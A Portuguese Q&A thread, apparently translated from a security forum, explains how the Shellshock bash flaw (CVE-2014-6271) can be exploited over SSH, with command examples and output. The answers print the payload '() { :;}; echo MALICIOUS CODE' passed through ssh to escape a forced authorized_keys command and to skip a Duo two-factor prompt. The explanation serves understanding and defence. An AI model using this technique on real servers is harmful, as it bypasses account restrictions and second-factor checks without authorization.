como o shellshock pode ser explorado por SSH?

Aparentemente, o shellshock Bash exploit CVE-2014-6271 pode ser explorado na rede via SSH. Posso imaginar como a exploração funcionaria via Apache / CGI, mas não consigo imaginar como isso funcionaria no SSH?

Alguém pode fornecer um exemplo de como o SSH seria explorado e que dano poderia ser causado ao sistema?

ESCLARECIMENTO

AFAIU, apenas um usuário autenticado pode explorar essa vulnerabilidade via SSH. Que utilidade é essa exploração para alguém que tenha acesso legítimo ao sistema? Quero dizer, essa exploração não tem escalonamento de privilégios (ele não pode se tornar root), portanto, ele não pode fazer mais do que poderia ter feito depois de simplesmente fazer o login legitimamente via SSH.

Um exemplo em que isso pode ser explorado é em servidores com um authorized_keyscomando forçado. Ao adicionar uma entrada ~/.ssh/authorized_keys, você pode prefixar a linha com command="foo"para forçar fooa execução a qualquer momento em que a chave pública ssh for usada. Com essa exploração, se o shell do usuário de destino estiver definido como bash, eles poderão tirar vantagem da exploração para executar outras coisas que não o comando para o qual são forçados.

Isso provavelmente faria mais sentido no exemplo, então aqui está um exemplo:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Aqui, configuramos um usuário testuserque força qualquer conexão ssh usando sua chave ssh para executar echo starting sleep; sleep 1.

Podemos testar isso com:

$ ssh testuser@localhost echo something else
starting sleep

Observe como o nosso echo something elsenão é executado, mas starting sleepmostra que o comando forçado foi executado.

Agora vamos mostrar como essa exploração pode ser usada:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Isso funciona porque sshddefine a SSH_ORIGINAL_COMMANDvariável de ambiente para o comando passado. Portanto, apesar de sshdexecutado sleep, e não o comando que eu disse, por causa da exploração, meu código ainda é executado.

Expandindo o exemplo do Ramesh - se você usar a autenticação de dois fatores, é possível ignorar o segundo fator usando essa exploração, dependendo de como ela é implementada.

- Login normal -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Código em execução sem 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Você notará que ele executou o código sem solicitar o 2FA.

- Após o patch do bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

Shellshock é uma vulnerabilidade no bash, não no SSH. Para explorá-lo, um invasor precisa fazer com que o sistema vulnerável execute o bash e controlar o valor de uma variável de ambiente que será passada para o bash.

Para alcançar um processo bash através do SSH, o invasor precisa passar pelas etapas de autenticação. (Pode haver vetores de ataque por outros serviços de rede, mas eles estão além do escopo desse encadeamento.) Se a conta tiver permissão para executar comandos arbitrários de shell de qualquer maneira, não haverá ataque. A vulnerabilidade entra em jogo se a conta estiver restrita a executar comandos específicos: por exemplo, uma conta somente SFTP ou uma conta somente git, etc.

Existem várias maneiras de restringir uma conta para executar um comando específico com SSH: com a ForceCommandopção in sshd_configou com a command=. restrição no authorized_keysarquivo. Se o shell do usuário for bash, a vulnerabilidade Shellshock permite que um usuário que normalmente teria acesso apenas à conta restrita ignore a restrição e execute comandos arbitrários.